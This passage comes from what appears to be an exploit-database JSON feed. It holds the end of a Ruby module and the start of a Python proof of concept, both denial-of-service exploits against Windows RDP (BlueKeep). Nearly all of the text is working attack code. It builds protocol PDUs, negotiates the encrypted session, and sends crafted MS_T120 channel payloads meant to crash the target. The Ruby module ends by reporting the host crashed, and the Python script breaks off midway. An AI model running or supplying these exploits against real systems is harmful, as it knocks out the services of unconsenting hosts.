\"\\x03\\x00\" +                                                               # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET\r\n    \"\\x58\\x00\" +                                                               # lengthCapability: 88\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\x00\" +\r\n    \"\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x01\\x00\\x00\\x00\\x01\" +\r\n    \"\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\xa1\\x06\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x03\\x00\\x00\\x03\\x78\\x00\\x00\\x00\" +\r\n    \"\\x78\\x00\\x00\\x00\\xfc\\x09\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x0a\\x00\" +                                                               # capabilitySetType: 10 - ??\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x06\\x00\\x00\\x00\" +\r\n    \"\\x07\\x00\" +                                                               # capabilitySetType: 7  - TSWINDOWACTIVATION_CAPABILITYSET\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x05\\x00\" +                                                               # capabilitySetType: 5  - TS_CONTROL_CAPABILITYSET\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\" +\r\n    \"\\x08\\x00\" +                                                               # capabilitySetType: 8  - TS_POINTER_CAPABILITYSET\r\n    \"\\x0a\\x00\" +                                                               # lengthCapability: 10\r\n    \"\\x01\\x00\\x14\\x00\\x15\\x00\" +\r\n    \"\\x09\\x00\" +                                                               # capabilitySetType: 9  - TS_SHARE_CAPABILITYSET\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x00\\x00\\x00\\x00\" +\r\n    \"\\x0d\\x00\" +                                                               # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET\r\n    \"\\x58\\x00\" +                                                               # lengthCapability: 88\r\n    \"\\x91\\x00\\x20\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\" +\r\n    \"\\x0c\\x00\" +                                                               # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x01\\x00\\x00\\x00\" +\r\n    \"\\x0e\\x00\" +                                                               # capabilitySetType: 14 - TS_FONT_CAPABILITYSET\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x01\\x00\\x00\\x00\" +\r\n    \"\\x10\\x00\" +                                                               # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET\r\n    \"\\x34\\x00\" +                                                               # lengthCapability: 52\r\n    \"\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\" +\r\n    \"\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\" +\r\n    \"\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x03\\x00\\x00\\x00\" +\r\n    \"\\x0f\\x00\" +                                                               # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x01\\x00\\x00\\x00\" +\r\n    \"\\x11\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x01\\x00\\x00\\x00\\x00\\x28\\x64\\x00\" +\r\n    \"\\x14\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x15\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x02\\x00\\x00\\x00\\x00\\x0a\\x00\\x01\" +\r\n    \"\\x1a\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\xaf\\x94\\x00\\x00\" +\r\n    \"\\x1c\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\r\n    \"\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x1b\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x06\\x00\" +                                                               # lengthCapability: 6\r\n    \"\\x01\\x00\" +\r\n    \"\\x1e\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\r\n    \"\\x01\\x00\\x00\\x00\" +\r\n    \"\\x18\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x0b\\x00\" +                                                               # lengthCapability: 11\r\n    \"\\x02\\x00\\x00\\x00\\x03\\x0c\\x00\" +\r\n    \"\\x1d\\x00\" +                                                               # capabilitySetType: ??\r\n    \"\\x5f\\x00\" +                                                               # lengthCapability: 95\r\n    \"\\x02\\xb9\\x1b\\x8d\\xca\\x0f\\x00\\x4f\\x15\\x58\\x9f\\xae\\x2d\\x1a\\x87\\xe2\" +\r\n    \"\\xd6\\x01\\x03\\x00\\x01\\x01\\x03\\xd4\\xcc\\x44\\x27\\x8a\\x9d\\x74\\x4e\\x80\" +\r\n    \"\\x3c\\x0e\\xcb\\xee\\xa1\\x9c\\x54\\x05\\x31\\x00\\x31\\x00\\x00\\x00\\x01\\x00\" +\r\n    \"\\x00\\x00\\x25\\x00\\x00\\x00\\xc0\\xcb\\x08\\x00\\x00\\x00\\x01\\x00\\xc1\\xcb\" +\r\n    \"\\x1d\\x00\\x00\\x00\\x01\\xc0\\xcf\\x02\\x00\\x08\\x00\\x00\\x01\\x40\\x00\\x02\" +\r\n    \"\\x01\\x01\\x01\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x04\"\r\n\r\n    ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU\r\n    return(rdp_build_share_control_header(0x13, pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992\r\n  ## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 /  2.2.14.1\r\n  def pdu_client_synchronize(target_user = 0)    \r\n    pdu = \"\\x01\\x00\" +                                                         # messageType: 1 SYNCMSGTYPE_SYNC\r\n    [target_user].pack(\"S<\")                                                   # targetUser, 16 bit, unsigned.\r\n\r\n    ## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE\r\n    data_header = rdp_build_share_data_header(0x1f, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135\r\n  ## Control Cooperate - TC_CONTROL_PDU 2.2.1.15\r\n  def pdu_client_control_cooperate()\r\n    pdu = \"\\x04\\x00\" +                                                         # action: 4 - CTRLACTION_COOPERATE\r\n    \"\\x00\\x00\" +                                                               # grantId: 0\r\n    \"\\x00\\x00\\x00\\x00\"                                                         # controlId: 0\r\n\r\n    ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL\r\n    data_header = rdp_build_share_data_header(0x14, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35\r\n  ## Control Request - TC_CONTROL_PDU 2.2.1.16\r\n  def pdu_client_control_request()\r\n\r\n    pdu = \"\\x01\\x00\" +                                                         # action: 1 - CTRLACTION_REQUEST_CONTROL\r\n    \"\\x00\\x00\" +                                                               # grantId: 0\r\n    \"\\x00\\x00\\x00\\x00\"                                                         # controlId: 0\r\n\r\n    ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL\r\n    data_header = rdp_build_share_data_header(0x14, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396\r\n  ## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1\r\n  def pdu_client_input_event_sychronize()\r\n    pdu = \"\\x01\\x00\" +                                                         # numEvents: 1\r\n    \"\\x00\\x00\" +                                                               # pad2Octets\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # eventTime\r\n    \"\\x00\\x00\" +                                                               # messageType: 0 - INPUT_EVENT_SYNC\r\n  \r\n    ## TS_SYNC_EVENT 202.8.1.1.3.1.1.5\r\n    \"\\x00\\x00\" +                                                               # pad2Octets\r\n    \"\\x00\\x00\\x00\\x00\"                                                         # toggleFlags\r\n\r\n    ## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT\r\n    data_header = rdp_build_share_data_header(0x1c, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9\r\n  ## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18\r\n  def pdu_client_font_list()\r\n    pdu = \"\\x00\\x00\" +                                                         # numberFonts: 0\r\n    \"\\x00\\x00\" +                                                               # totalNumberFonts: 0\r\n    \"\\x03\\x00\" +                                                               # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)\r\n    \"\\x32\\x00\"                                                                 # entrySize: 50\r\n\r\n    ## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST\r\n    data_header = rdp_build_share_data_header(0x27, pdu)\r\n\r\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\r\n    return(rdp_build_share_control_header(0x17, data_header))\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  def crash_test(rc4enckey, hmackey)\r\n    begin\r\n      received = \"\"\r\n      for i in 0..5\r\n        received += rdp_recv()\r\n      end\r\n    rescue RdpCommunicationError\r\n      # we don't care\r\n    end\r\n\r\n    vprint_status(\"Sending DoS payload\")\r\n    found = false\r\n    for j in 0..15\r\n      ## x86_payload:\r\n      rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, [\"00000000020000000000000\"].pack(\"H*\")), rc4enckey, hmackey, \"\\x03\\xef\"))\r\n\r\n      ## x64_payload:\r\n      rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, [\"00000000000000000200000\"].pack(\"H*\")), rc4enckey, hmackey, \"\\x03\\xef\"))\r\n    end\r\n  end\r\n\r\n  def produce_dos()\r\n  \r\n    unless(rdp_connection_initiation())\r\n      vprint_status(\"Could not connect to RDP.\")\r\n      return(false)\r\n    end\r\n    \r\n    vprint_status(\"Sending initial client data\")\r\n    received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))\r\n\r\n    rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)\r\n\r\n    vprint_status(\"Sending erect domain request\")\r\n    rdp_send(pdu_erect_domain_request())\r\n\r\n    vprint_status(\"Sending attach user request\")\r\n    received = rdp_sendrecv(pdu_attach_user_request())\r\n\r\n    user1 = received[9, 2].unpack(\"n\").first\r\n\r\n    [1003, 1004, 1005, 1006, 1007].each do | chan |\r\n      rdp_sendrecv(pdu_channel_request(user1, chan))\r\n    end\r\n\r\n    ## 5.3.4 Client Random Value\r\n    client_rand = ''\r\n    32.times { client_rand << rand(0..255) }\r\n    rcran = bytes_to_bignum(client_rand)\r\n\r\n    vprint_status(\"Sending security exchange PDU\")\r\n    rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))\r\n\r\n    ## We aren't decrypting anything at this point. Leave the variables here\r\n    ## to make it easier to understand in the future.\r\n    rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)\r\n\r\n    vprint_status(\"RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}\")\r\n    vprint_status(\"RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}\")\r\n    vprint_status(\"HMAC_KEY:    #{bin_to_hex(hmackey)}\")\r\n    vprint_status(\"SESS_BLOB:   #{bin_to_hex(sessblob)}\")\r\n\r\n    rc4enckey = RC4.new(rc4encstart)\r\n\r\n    vprint_status(\"Sending client info PDU\") # TODO\r\n    pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])\r\n    received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, \"\\x03\\xeb\", true))\r\n\r\n    vprint_status(\"Received License packet\")\r\n    rdp_recv()\r\n\r\n    vprint_status(\"Sending client confirm active PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client synchronize PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client control cooperate PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client control request control PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client input sychronize PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending client font list PDU\")\r\n    rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))\r\n\r\n    vprint_status(\"Sending close mst120 PDU\")\r\n    crash_test(rc4enckey, hmackey)\r\n\r\n    vprint_status(\"Sending client disconnection PDU\")\r\n    rdp_send(rdp_build_data_tpdu(\"\\x21\\x80\"))\r\n\r\n    return(true)\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  def run_host(ip)\r\n    ## Allow the run command to call the check command.\r\n    begin\r\n      if(open_connection())\r\n        status = produce_dos()\r\n      end\r\n    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e\r\n      bt = e.backtrace.join(\"\\n\")\r\n      vprint_error(\"Unexpected error: #{e.message}\")\r\n      vprint_line(bt)\r\n      elog(\"#{e.message}\\n#{bt}\")\r\n    rescue RdpCommunicationError => e\r\n      vprint_error(\"Error communicating RDP protocol.\")\r\n      status = Exploit::CheckCode::Unknown\r\n    rescue Errno::ECONNRESET => e                                              # NLA?\r\n      vprint_error(\"Connection reset, possible NLA is enabled.\")\r\n    rescue => e\r\n      bt = e.backtrace.join(\"\\n\")\r\n      vprint_error(\"Unexpected error: #{e.message}\")\r\n      vprint_line(bt)\r\n      elog(\"#{e.message}\\n#{bt}\")\r\n    ensure\r\n\r\n      if(status == true)\r\n        sleep(1)\r\n        unless(open_connection())\r\n          print_good(\"The host is crashed!\")\r\n        else\r\n          print_bad(\"The DoS has been sent but the host is already connected!\")\r\n        end\r\n      end\r\n\r\n      disconnect()\r\n    end\r\n  end\r\n\r\nend\n\n#  0day.today [2019-12-04]  #",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://0day.today/exploit/32978",
        "vhref": "https://vulners.com/zdt/1337DAY-ID-32978"
    },
    {
        "lastseen": "2019-06-01T00:12:39",
        "bulletinFamily": "exploit",
        "description": "Exploit for windows platform in category dos / poc",
        "modified": "2019-05-31T00:00:00",
        "published": "2019-05-31T00:00:00",
        "id": "1337DAY-ID-32826",
        "href": "https://0day.today/exploit/description/32826",
        "title": "Microsoft #Windows Remote Desktop - BlueKeep Denial of Service Exploit #RDP #MicrosoftWindows",
        "type": "zdt",
        "sourceData": "import socket, sys, struct\r\nfrom OpenSSL import SSL\r\nfrom impacket.structure import Structure\r\n\r\n# I'm not responsible for what you use this to accomplish and should only be used for education purposes\r\n\r\n# Could clean these up since I don't even use them\r\nclass TPKT(Structure):\r\n\tcommonHdr = (\r\n\t\t('Version','B=3'),\r\n\t\t('Reserved','B=0'),\r\n\t\t('Length','>H=len(TPDU)+4'),\r\n\t\t('_TPDU','_-TPDU','self[\"Length\"]-4'),\r\n\t\t('TPDU',':=\"\"'),\r\n\t)\r\n\r\nclass TPDU(Structure):\r\n\tcommonHdr = (\r\n\t\t('LengthIndicator','B=len(VariablePart)+1'),\r\n\t\t('Code','B=0'),\r\n\t\t('VariablePart',':=\"\"'),\r\n\t)\r\n\tdef __init__(self, data = None):\r\n\t\tStructure.__init__(self,data)\r\n\t\tself['VariablePart']=''\r\n\r\nclass CR_TPDU(Structure):\r\n\tcommonHdr = (\r\n\t\t('DST-REF','<H=0'),\r\n\t\t('SRC-REF','<H=0'),\r\n\t\t('CLASS-OPTION','B=0'),\r\n\t\t('Type','B=0'),\r\n\t\t('Flags','B=0'),\r\n\t\t('Length','<H=8'),\r\n\t)\r\n\r\nclass DATA_TPDU(Structure):\r\n\tcommonHdr = (\r\n\t\t('EOT','B=0x80'),\r\n\t\t('UserData',':=\"\"'),\r\n\t)\r\n\tdef __init__(self, data = None):\r\n\t\tStructure.__init__(self,data)\r\n\t\tself['UserData'] =''\r\n\r\nclass RDP_NEG_REQ(CR_TPDU):\r\n\tstructure = (\r\n\t\t('requestedProtocols','<L'),\r\n\t)\r\n\tdef __init__(self,data=None):\r\n\t\tCR_TPDU.__init__(self,data)\r\n\t\tif data is None:\r\n\t\t\tself['Type'] = 1\r\n\r\ndef send_init_packets(host):\r\n\ttpkt = TPKT()\r\n\ttpdu = TPDU()\r\n\trdp_neg = RDP_NEG_REQ()\r\n\trdp_neg['Type'] = 1\r\n\trdp_neg['requestedProtocols'] = 1\r\n\ttpdu['VariablePart'] = rdp_neg.getData()\r\n\ttpdu['Code'] = 0xe0\r\n\ttpkt['TPDU'] = tpdu.getData()\r\n\ts = socket.socket()\r\n\ts.connect((host, 3389))\r\n\ts.sendall(tpkt.getData())\r\n\ts.recv(8192)\r\n\tctx = SSL.Context(SSL.TLSv1_METHOD)\r\n\ttls = SSL.Connection(ctx,s)\r\n\ttls.set_connect_state()\r\n\ttls.do_handshake()\r\n\treturn tls\r\n\r\n# This can be fixed length now buttfuckit\r\ndef send_client_data(tls):\r\n\tp = \"\\x03\\x00\\x01\\xca\\x02\\xf0\\x80\\x7f\\x65\\x82\\x07\\xc2\\x04\\x01\\x01\\x04\\x01\\x01\\x01\\x01\\xff\\x30\\x19\\x02\\x01\\x22\\x02\\x01\\x02\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\\x30\\x19\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\x04\\x20\\x02\\x01\\x02\\x30\\x1c\\x02\\x02\\xff\\xff\\x02\\x02\\xfc\\x17\\x02\\x02\\xff\\xff\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\\x04\\x82\\x01\\x61\\x00\\x05\\x00\\x14\\x7c\\x00\\x01\\x81\\x48\\x00\\x08\\x00\\x10\\x00\\x01\\xc0\\x00\\x44\\x75\\x63\\x61\\x81\\x34\\x01\\xc0\\xea\\x00\\x0a\\x00\\x08\\x00\\x80\\x07\\x38\\x04\\x01\\xca\\x03\\xaa\\x09\\x04\\x00\\x00\\xee\\x42\\x00\\x00\\x44\\x00\\x45\\x00\\x53\\x00\\x4b\\x00\\x54\\x00\\x4f\\x00\\x50\\x00\\x2d\\x00\\x46\\x00\\x38\\x00\\x34\\x00\\x30\\x00\\x47\\x00\\x49\\x00\\x4b\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xca\\x01\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x0f\\x00\\xaf\\x07\\x62\\x00\\x63\\x00\\x37\\x00\\x38\\x00\\x65\\x00\\x66\\x00\\x36\\x00\\x33\\x00\\x2d\\x00\\x39\\x00\\x64\\x00\\x33\\x00\\x33\\x00\\x2d\\x00\\x34\\x00\\x31\\x00\\x39\\x38\\x00\\x38\\x00\\x2d\\x00\\x39\\x00\\x32\\x00\\x63\\x00\\x66\\x00\\x2d\\x00\\x00\\x31\\x00\\x62\\x00\\x32\\x00\\x64\\x00\\x61\\x00\\x42\\x42\\x42\\x42\\x07\\x00\\x01\\x00\\x00\\x00\\x56\\x02\\x00\\x00\\x50\\x01\\x00\\x00\\x00\\x00\\x64\\x00\\x00\\x00\\x64\\x00\\x00\\x00\\x04\\xc0\\x0c\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xc0\\x0c\\x00\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xc0\\x38\\x00\\x04\\x00\\x00\\x00\\x72\\x64\\x70\\x73\\x6e\\x64\\x00\\x00\\x0f\\x00\\x00\\xc0\\x63\\x6c\\x69\\x70\\x72\\x64\\x72\\x00\\x00\\x00\\xa0\\xc0\\x64\\x72\\x64\\x79\\x6e\\x76\\x63\\x00\\x00\\x00\\x80\\xc0\\x4d\\x53\\x5f\\x54\\x31\\x32\\x30\\x00\\x00\\x00\\x00\\x00\"\r\n\tsize0 = struct.pack(\">h\", len(p))\r\n\tsize1 = struct.pack(\">h\", len(p)-12)\r\n\tsize2 = struct.pack(\">h\", len(p)-109)\r\n\tsize3 = struct.pack(\">h\", len(p)-118)\r\n\tsize4 = struct.pack(\">h\", len(p)-132)\r\n\tsize5 = struct.pack(\">h\", len(p)-390)\r\n\tba = bytearray()\r\n\tba.extend(map(ord, p))\r\n\tba[2] = size0[0]\r\n\tba[3] = size0[1]\r\n\tba[10] = size1[0]\r\n\tba[11] = size1[1]\r\n\tba[107] = size2[0]\r\n\tba[108] = size2[1]\r\n\tba[116] = 0x81\r\n\tba[117] = size3[1] \r\n\tba[130] = 0x81\r\n\tba[131] = size4[1]\r\n\tba[392] = size5[1]\r\n\ttls.sendall(bytes(ba))\r\n\ttls.recv(8192)\r\n\r\ndef send_client_info(tls):\r\n\tp = b\"\\x03\\x00\\x01\\x61\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x81\\x52\\x40\\x00\\xa1\\xa5\\x09\\x04\\x09\\x04\\xbb\\x47\\x03\\x00\\x00\\x00\\x0e\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x00\\x00\\x74\\x00\\x65\\x00\\x73\\x00\\x74\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x41\\x41\\x41\\x00\\x38\\x00\\x2e\\x00\\x32\\x00\\x33\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x00\\x00\\x40\\x00\\x43\\x00\\x3a\\x00\\x5c\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x41\\x41\\x41\\x00\\x57\\x00\\x53\\x00\\x5c\\x00\\x73\\x00\\x79\\x00\\x73\\x00\\x74\\x00\\x65\\x00\\x6d\\x00\\x33\\x00\\x32\\x00\\x5c\\x00\\x6d\\x00\\x73\\x00\\x74\\x00\\x73\\x00\\x63\\x00\\x61\\x00\\x78\\x00\\x2e\\x00\\x64\\x00\\x6c\\x00\\x6c\\x00\\x00\\x00\\xa4\\x01\\x00\\x00\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x20\\x00\\x53\\x00\\x74\\x00\\x61\\x00\\x6e\\x00\\x64\\x00\\x61\\x00\\x72\\x00\\x64\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x20\\x00\\x44\\x00\\x61\\x00\\x79\\x00\\x6c\\x00\\x69\\x00\\x67\\x00\\x68\\x00\\x74\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc4\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x64\\x00\\x00\\x00\"\r\n\ttls.sendall(p)\r\n\r\ndef send_channel_packets(tls):\r\n\tp1 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x04\\x01\\x00\\x01\\x00\"\r\n\ttls.sendall(p1)\r\n\tp2 = b\"\\x03\\x00\\x00\\x08\\x02\\xf0\\x80\\x28\"\r\n\ttls.sendall(p2)\r\n\ttls.recv(1024)\r\n\tp4 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xeb\"\r\n\ttls.sendall(p4)\r\n\ttls.recv(1024)\r\n\tp5 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xec\"\r\n\ttls.sendall(p5)\r\n\ttls.recv(1024)\r\n\tp6 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xed\"\r\n\ttls.sendall(p6)\r\n\ttls.recv(1024)\r\n\tp7 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xee\"\r\n\ttls.sendall(p7)\r\n\ttls.recv(1024)\r\n\tp8 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xef\"\r\n\ttls.sendall(p8)\r\n\ttls.recv(1024)\r\n\r\ndef send_confirm_active(tls, shareid):\r\n\tp = 